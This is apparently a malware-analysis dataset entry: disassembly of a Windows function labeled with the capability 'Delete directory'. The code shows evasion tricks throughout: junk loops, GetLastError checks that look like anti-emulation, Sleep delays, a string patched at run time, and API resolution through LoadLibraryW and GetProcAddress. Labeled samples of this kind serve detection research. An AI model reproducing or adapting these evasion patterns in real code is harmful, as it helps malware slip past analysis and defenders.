Function at 0x401000
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
push ebx
push esi
push edi
mov dword [ebp - 0xf4], 0
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov dword [ebp - 0x28], 0
mov ecx, dword [ebp - 8]
mov edx, dword [0x40c030]
mov dword [ecx + 0x94], edx
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0x42a40fad
mov eax, dword [ebp - 8]
mov ecx, dword [0x45bbc8]
mov dword [eax + 0x258], ecx
mov edx, dword [ebp - 8]
mov eax, dword [0x40c034]
mov dword [edx + 0x74], eax
push 0x10
push 0
lea ecx, [ebp - 0x24]
push ecx
call fcn.00408010
add esp, 0xc
mov dword [ebp - 0x14], 0xa49f8ebb
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x10c], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, dword [ebp - 8]
mov dword [edx + 0xd4], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
test eax, eax
jne 0x4010a9
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
mov dword [ebp - 0x28], eax
push str.Ntasapi.nll
lea edx, [ebp - 0xf0]
push edx
call fcn.00407fe9
add esp, 8
mov dword [ebp - 0xc], 0
mov word [ebp - 0xec], 0x64
mov ax, word [ebp - 0xec]
mov word [ebp - 0xe0], ax
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0xd4], 0
je 0x401327
cmp dword [ebp - 0x10c], 0
je 0x401327
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
mov ecx, dword [0x45bbcc]
mov dword [eax + 0x25c], ecx
push 4
push 0x1000
push 0x1000
push 0x100
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], 0x457b98
mov dword [ebp - 0x118], 0xae00
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x11c], 0xae00
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x11c]
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 0x24c], ecx
mov dword [ebp - 0x128], 1
mov dword [ebp - 0x124], 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x1e7
je 0x4011b2
cmp dword [ebp - 0x12c], 0x57
jne 0x401322
push 0x101
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x101
jne 0x401322
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x118]
mov dword [edx + 0x8c], eax
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x238], 0
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov ecx, dword [edx + 0x238]
cmp ecx, dword [eax + 0x8c]
jae 0x401255
mov edx, dword [ebp - 0x128]
add edx, 1
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x128]
cmp ecx, dword [eax + 0x238]
jne 0x40123e
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x238]
cmp eax, dword [ebp - 0x128]
jne 0x40123e
mov ecx, dword [ebp - 0x128]
sub ecx, 1
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x238]
add eax, 1
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x238], eax
jmp 0x4011ea
mov dword [ebp - 0x134], 0
jmp 0x401270
mov edx, dword [ebp - 0x134]
add edx, 1
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0x11c]
jae 0x4012d1
mov ecx, dword [ebp - 0x124]
add ecx, 1
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0x124]
cmp edx, dword [ebp - 0x134]
jne 0x4012b8
mov eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0x128]
jne 0x4012b8
mov ecx, dword [ebp - 0x128]
sub ecx, 1
mov dword [ebp - 0x128], ecx
push 4
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
add eax, 0x154
push eax
call fcn.004019ef
add esp, 0xc
jmp 0x401261
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx + 0x1d8], edx
mov eax, dword [ebp - 0x118]
sub eax, dword [ebp - 0x11c]
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x128]
sub ecx, dword [ebp - 0x124]
mov dword [ebp - 0x138], ecx
mov eax, dword [ebp - 0x13c]
mov ebx, dword [ebp - 0x138]
mov edx, dword [ebp - 0x13c]
cmp edx, dword [ebp - 0x138]
jne 0x401322
mov dword [ebp - 4], 1
jmp 0x401425
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x140], 0
mov eax, dword [str.wgsini.cmd]
mov dword [ebp - 0x154], eax
mov ecx, dword [0x45bbf0]
mov dword [ebp - 0x150], ecx
mov dx, word [0x45bbf4]
mov word [ebp - 0x14c], dx
mov al, byte [0x45bbf6]
mov byte [ebp - 0x14a], al
push 0
push 0
push 4
push 0
push 0
push 1
lea ecx, [ebp - 0x154]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x401425
lea edx, [ebp - 0x154]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 4
push 0x1000
push 0x1f4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0xd4], 0
jne 0x401408
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x158], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x158], 0
je 0x401408
mov edx, dword [ebp - 0x158]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x8000
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 0x144]
push ecx
call sub.LZ32.dll_LZClose
mov edx, dword [str.AsUnquoteRdnValueA]
mov dword [ebp - 0x108], edx
mov eax, dword [0x45bbfc]
mov dword [ebp - 0x104], eax
mov ecx, dword [0x45bc00]
mov dword [ebp - 0x100], ecx
mov edx, dword [0x45bc04]
mov dword [ebp - 0xfc], edx
mov ax, word [0x45bc08]
mov word [ebp - 0xf8], ax
mov cl, byte [0x45bc0a]
mov byte [ebp - 0xf6], cl
mov dword [ebp - 0x110], 0x8764efd3
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xd4]
mov dword [edx + 0x9c], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x110]
mov dword [edx + 0x90], eax
mov ecx, dword [ebp - 8]
mov dword [ecx + 0xa0], 0x50a0
cmp dword [ebp - 4], 0
je 0x40154e
mov byte [ebp - 0x108], 0x44
mov dword [ebp - 0x15c], 0x40c03c
mov edx, dword [ebp - 0x15c]
mov eax, dword [edx]
mov dword [ebp - 0x160], eax
lea ecx, [ebp - 0xf0]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0
je 0x40154e
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x184]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x164], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x164], 0
jne 0x401522
cmp dword [ebp - 0x180], 0x7f
jne 0x401541
push 0
push 0
push 0
push 0
call dword [ebp - 0x164]
cmp eax, 0x57
jne 0x401541
mov ecx, dword [ebp - 8]
push ecx
call fcn.00404710
add esp, 4
mov edx, dword [ebp - 0x184]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret